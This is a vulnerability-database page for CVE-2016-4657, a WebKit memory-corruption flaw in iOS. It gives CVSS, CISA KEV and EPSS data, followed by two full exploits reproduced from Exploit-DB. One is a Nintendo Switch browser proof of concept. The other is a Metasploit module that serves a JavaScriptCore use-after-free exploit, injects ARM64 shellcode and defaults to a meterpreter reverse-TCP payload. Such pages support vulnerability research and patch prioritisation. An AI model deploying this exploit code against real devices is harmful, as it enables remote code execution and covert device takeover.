CVE-2016-4657

Score / Severity

8.8

High

CVE Descriptions

WebKit in Apple iOS before 9.3.5 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-787	Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	8.8	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Apple iOS Webkit Memory Corruption Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-05-23 22h00 +00:00

Action is due : 2022-06-13 22h00 +00:00

Important information

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	39.3%	–	–
2022-04-03	–	–	39.3%	–	–
2022-07-10	–	–	42.32%	–	–
2023-03-12	–	–	–	89.29%	–
2023-04-02	–	–	–	89.88%	–
2023-05-14	–	–	–	88.64%	–
2023-07-30	–	–	–	88.89%	–
2023-09-10	–	–	–	87.6%	–
2024-02-11	–	–	–	87.6%	–
2024-03-10	–	–	–	87.54%	–
2024-06-02	–	–	–	87.54%	–
2024-06-23	–	–	–	86.23%	–
2024-07-07	–	–	–	78.14%	–
2024-12-22	–	–	–	68.1%	–
2025-03-02	–	–	–	56.62%	–
2025-01-19	–	–	–	68.1%	–
2025-03-09	–	–	–	56.62%	–
2025-03-18	–	–	–	–	79.22%
2025-05-01	–	–	–	–	77.49%
2025-05-01	–	–	–	–	77.49,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	97%
2022-04-03	98%
2022-07-10	98%
2023-03-12	98%
2023-04-02	98%
2023-05-14	98%
2023-07-30	98%
2023-09-10	98%
2024-02-11	99%
2024-03-10	99%
2024-06-02	99%
2024-06-23	99%
2024-07-07	98%
2024-12-22	98%
2025-03-02	98%
2025-01-19	98%
2025-03-09	98%
2025-03-18	99%
2025-05-01	99%
2025-05-01	99%

Exploit information

Exploit Database EDB-ID : 44213

Publication date : 2017-03-11 23h00 +00:00
Author : qwertyoruiop
EDB Verified : No

<!doctype html> <html> <head> <title>CVE-2016-4657 Switch PoC</title> <style> body {font-size: 2em;} a {text-decoration: none; color: #000;} a:hover {color: #f00; font-weight: bold;} </style> </head> <body> <h1>CVE-2016-4657 Nintendo Switch PoC</h1> <ul> <li><a href=\'javascript:go();\'> go!</a></li> <li><a href=\'javascript:document.location.reload();\'> reload</a></li> </ul> <div id=\'status\'> waiting... click go.</div> <script> // display JS errors as alerts. Helps debugging. window.onerror = function(error, url, line) { alert(error+\' URL:\'+url+\' L:\'+line); }; </script> <script> // based on jbme.qwertyoruiop.com // Thanks to: // + qwertyoruiop // + Retr0id // + Ando // // saelo\'s phrack article is invaluable: http://www.phrack.org/papers/attacking_javascript_engines.html // garbage collection stuff var pressure = new Array(100); // do garbage collect dgc = function() { for (var i = 0; i < pressure.length; i++) { pressure[i] = new Uint32Array(0x10000); } for (var i = 0; i < pressure.length; i++) { pressure[i] = 0; } } // access to the overlapping Uint32Array var bufs = new Array(0x1000); // we will modify the vector of this var smash = new Uint32Array(0x10); // the array with the stale pointer var stale = 0; var _dview = null; // write 2x 32bit in a DataView and get the Float representation of it function u2d(low, hi) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setUint32(0, hi); _dview.setUint32(4, low); return _dview.getFloat64(0); } function go_() { // check if the length of the array smash changed already. if yes, bail out. if (smash.length != 0x10) return; // garbage collect dgc(); // new array with 0x100 elements var arr = new Array(0x100); // new array buffer of length 0x1000 var yolo = new ArrayBuffer(0x1000); // populate the arr with pointer to yolo and a number. not quite sure why. arr[0] = yolo; arr[1] = 0x13371337; // create an object whos toString function returns number 10 and messes with arr. var not_number = {}; not_number.toString = function() { arr = null; props[\"stale\"][\"value\"] = null; // if bufs is already overlapping memory, bail out. if (bufs[0]) return 10; // really make sure garbage is collected // the array pointed at by arr should be gone now. for (var i = 0; i < 20; i++) { dgc(); } // for the whole buf Array for (i = 0; i < bufs.length; i++) { // fill it with a lot of Uint32Arrays, hopefully allocated where arr was earlier bufs[i] = new Uint32Array(0x100 * 2) // for each element of that array for (k = 0; k < bufs[i].length;) { // set memory to 0x41414141 0xffff0000 // basically spraying the JSValue 0xffff000041414141 // which is the Integer 0x41414141 // phrack: Integer FFFF:0000:IIII:IIII bufs[i][k++] = 0x41414141; bufs[i][k++] = 0xffff0000; } } return 10; }; // define a new object with some properties var props = { p0: { value: 0 }, p1: { value: 1 }, p2: { value: 2 }, p3: { value: 3 }, p4: { value: 4 }, p5: { value: 5 }, p6: { value: 6 }, p7: { value: 7 }, p8: { value: 8 }, // the length of this object is set to this object that does evil stuff with toString() length: { value: not_number }, // the reference to the arr array. Which will later be freed. stale: { value: arr }, after: { value: 666 } }; // define a new target array var target = []; // TRIGGER BUG! // set the properties of the target based on the previously defined ones Object.defineProperties(target, props); // get a reference to the target stale property, which points to arr stale = target.stale; // make sure that the stale[0] points actually to the 0x41414141 data if not, we don\'t wanna mess with it and try again if(stale[0]==0x41414141) { // stale[0] is now pointing at a fake Integer 0x41414141. Now make it 0x41414242 stale[0] += 0x101; //stale[0] = 0x41414242; //document.getElementById(\'status\').innerText = \'bug done.\'; // searching the whole memory that is overlaying the old arr. Looking for 0x41414242 for (i = 0; i < bufs.length; i++) { for (k = 0; k < bufs[0].length; k++) { // Found the value! bufs[i][k] point now at the same memory as stale[0] if (bufs[i][k] == 0x41414242) { alert(\'Overlapping Arrays found at bufs[\'+i+\'][\'+k+\']\\nsmash.length is still: 0x\'+smash.length.toString(16)); // create a new object. Will look kinda like this: // 0x0100150000000136 0x0000000000000000 <- fictional value // 0x0000000000000064 0x0000000000000000 <- [\'a\'],[\'b\'] // 0x???????????????? 0x0000000000000100 <- [\'c\'],[\'d\'] stale[0] = { \'a\': u2d(105, 0), // the JSObject properties ; 105 is the Structure ID of Uint32Array \'b\': u2d(0, 0), \'c\': smash, // var pointing at the struct of a Uint32Array(0x10) \'d\': u2d(0x100, 0) } alert(\'created the JSObject.\\nstale[0] = \'+stale[0]); // remember the original stale pointer, pointing at the object with the a,b,c,d properties stale[1] = stale[0]; // now add 0x10 to the pointer of stale[0], which points now in the middle of the object. bufs[i][k] += 0x10; // check the type of stale[0]. // removed the loop because it makes the exploit sooooooo unreliable // based on phrack paper - Predicting structure IDs (http://www.phrack.org/papers/attacking_javascript_engines.html) /*while(!(stale[0] instanceof Uint32Array)) { // if stale[0] is not a Uint32Array yet, increment the structureID guess structureID++; // assign the next structureID to the original object still referenced by stale[1] stale[1][\'a\'] = u2d(structureID, 0); }*/ // Give some information. stale[0] should now be a Uint32Array alert(\'misaligned the pointer to the JSObject.\\nstale[0] = \'+stale[0]+\'\'); // write to the 6th 32bit value of the memory pointed to by the crafted Uint32Array // which should point to the struct of smash, allowing us to overwrite the length of smash stale[0][6] = 0x1337; // check the length of smash is now. alert(\'smash.length is now: 0x\'+smash.length.toString(16)); alert(\'done!\\nswitch will probably crash now :O\'); return; } } } } document.getElementById(\'status\').innerText = \' fail. refresh the page and try again...\'; setTimeout(function() {document.location.reload();}, 1000); } function go() { document.getElementById(\'status\').innerText = \' go! \'; dgc(); dgc(); dgc(); dgc(); dgc(); dgc(); setTimeout(go_, 500); } // if Switch browser is detected, auto start exploit if(navigator.userAgent.indexOf(\'Nintendo Switch\')>-1) { document.getElementById(\'status\').innerText = \'Found Nintendo Switch! \'; setTimeout(go, 2000); } </script> </body> </html>

Exploit Database EDB-ID : 44836

Publication date : 2018-06-04 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'WebKit not_number defineProperties UAF', 'Description' => %q{ This module exploits a UAF vulnerability in WebKit's JavaScriptCore library. }, 'License' => MSF_LICENSE, 'Author' => [ 'qwertyoruiop', # jbme.qwertyoruiop.com 'siguza', # PhoenixNonce 'tihmstar', # PhoenixNonce 'timwr', # metasploit integration ], 'References' => [ ['CVE', '2016-4655'], ['CVE', '2016-4656'], ['CVE', '2016-4657'], ['BID', '92651'], ['BID', '92652'], ['BID', '92653'], ['URL', 'https://blog.lookout.com/trident-pegasus'], ['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'], ['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'], ['URL', 'https://github.com/Siguza/PhoenixNonce'], ['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'], ['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'], ], 'Arch' => ARCH_AARCH64, 'Platform' => 'apple_ios', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' }, 'Targets' => [[ 'Automatic', {} ]], 'DisclosureDate' => 'Aug 25 2016')) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]), OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ]) ]) end def on_request_uri(cli, request) print_status("Request from #{request['User-Agent']}") if request.uri =~ %r{/loader$} print_good("Target is vulnerable.") local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" ) loader_data = File.read(local_file, {:mode => 'rb'}) send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) return elsif request.uri =~ %r{/exploit$} local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" ) loader_data = File.read(local_file, {:mode => 'rb'}) payload_url = "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}" payload_url_index = loader_data.index('PAYLOAD_URL') loader_data[payload_url_index, payload_url.length] = payload_url send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) print_status("Sent exploit (#{loader_data.size} bytes)") return end html = %Q^ <html> <body> <script> function load_binary_resource(url) { var req = new XMLHttpRequest(); req.open('GET', url, false); req.overrideMimeType('text/plain; charset=x-user-defined'); req.send(null); return req.responseText; } var mem0 = 0; var mem1 = 0; var mem2 = 0; function read4(addr) { mem0[4] = addr; var ret = mem2[0]; mem0[4] = mem1; return ret; } function write4(addr, val) { mem0[4] = addr; mem2[0] = val; mem0[4] = mem1; } filestream = load_binary_resource("exploit") var shll = new Uint32Array(filestream.length / 4); for (var i = 0; i < filestream.length;) { var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24); shll[i / 4] = word; i += 4; } _dview = null; function u2d(low, hi) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setUint32(0, hi); _dview.setUint32(4, low); return _dview.getFloat64(0); } var pressure = new Array(100); var bufs = new Array(10000); dgc = function() { for (var i = 0; i < pressure.length; i++) { pressure[i] = new Uint32Array(0x10000); } for (var i = 0; i < pressure.length; i++) { pressure[i] = 0; } } function swag() { if (bufs[0]) return; for (var i = 0; i < 4; i++) { dgc(); } for (i = 0; i < bufs.length; i++) { bufs[i] = new Uint32Array(0x100 * 2) for (k = 0; k < bufs[i].length;) { bufs[i][k++] = 0x41414141; bufs[i][k++] = 0xffff0000; } } } var trycatch = ""; for (var z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; "; var fc = new Function(trycatch); var fcp = 0; var smsh = new Uint32Array(0x10) function smashed(stl) { document.body.innerHTML = ""; var jitf = (smsh[(0x10 + smsh[(0x10 + smsh[(fcp + 0x18) / 4]) / 4]) / 4]); write4(jitf, 0xd28024d0); //movz x16, 0x126 write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4 write4(jitf + 8, 0xd4001001); //svc 80 write4(jitf + 12, 0xd65f03c0); //ret write4(jitf + 16, jitf + 0x20); write4(jitf + 20, 1); fc(); var dyncache = read4(jitf + 0x20); var dyncachev = read4(jitf + 0x20); var go = 1; while (go) { if (read4(dyncache) == 0xfeedfacf) { for (i = 0; i < 0x1000 / 4; i++) { if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever { go = 0; break; } } } dyncache += 0x1000; } dyncache -= 0x1000; var bss = []; var bss_size = []; for (i = 0; i < 0x1000 / 4; i++) { if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) { bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000); bss_size.push(read4(dyncache + i * 4 + (0x28))); } } var shc = jitf; var filestream = load_binary_resource("loader") for (var i = 0; i < filestream.length;) { var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24); write4(shc, word); shc += 4; i += 4; } jitf &= ~0x3FFF; jitf += 0x8000; write4(shc, jitf); write4(shc + 4, 1); // copy macho for (var i = 0; i < shll.length; i++) { write4(jitf + i * 4, shll[i]); } for (var i = 0; i < bss.length; i++) { for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) { write4(bss[i] + k * 4, 0); } } fc(); } function go_() { if (smsh.length != 0x10) { smashed(); return; } dgc(); var arr = new Array(0x100); var yolo = new ArrayBuffer(0x1000); arr[0] = yolo; arr[1] = 0x13371337; var not_number = {}; not_number.toString = function() { arr = null; props["stale"]["value"] = null; swag(); return 10; }; var props = { p0: { value: 0 }, p1: { value: 1 }, p2: { value: 2 }, p3: { value: 3 }, p4: { value: 4 }, p5: { value: 5 }, p6: { value: 6 }, p7: { value: 7 }, p8: { value: 8 }, length: { value: not_number }, stale: { value: arr }, after: { value: 666 } }; var target = []; var stale = 0; Object.defineProperties(target, props); stale = target.stale; stale[0] += 0x101; stale[1] = {} for (var z = 0; z < 0x1000; z++) fc(); for (i = 0; i < bufs.length; i++) { for (k = 0; k < bufs[0].length; k++) { if (bufs[i][k] == 0x41414242) { stale[0] = fc; fcp = bufs[i][k]; stale[0] = { 'a': u2d(105, 0), 'b': u2d(0, 0), 'c': smsh, 'd': u2d(0x100, 0) } stale[1] = stale[0] bufs[i][k] += 0x10; // misalign so we end up in JSObject's properties, which have a crafted Uint32Array pointing to smsh bck = stale[0][4]; stale[0][4] = 0; // address, low 32 bits // stale[0][5] = 1; // address, high 32 bits == 0x100000000 stale[0][6] = 0xffffffff; mem0 = stale[0]; mem1 = bck; mem2 = smsh; bufs.push(stale) if (smsh.length != 0x10) { smashed(stale[0]); } return; } } } setTimeout(function() { document.location.reload(); }, 2000); } dgc(); setTimeout(go_, 200); </script> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html'}) end end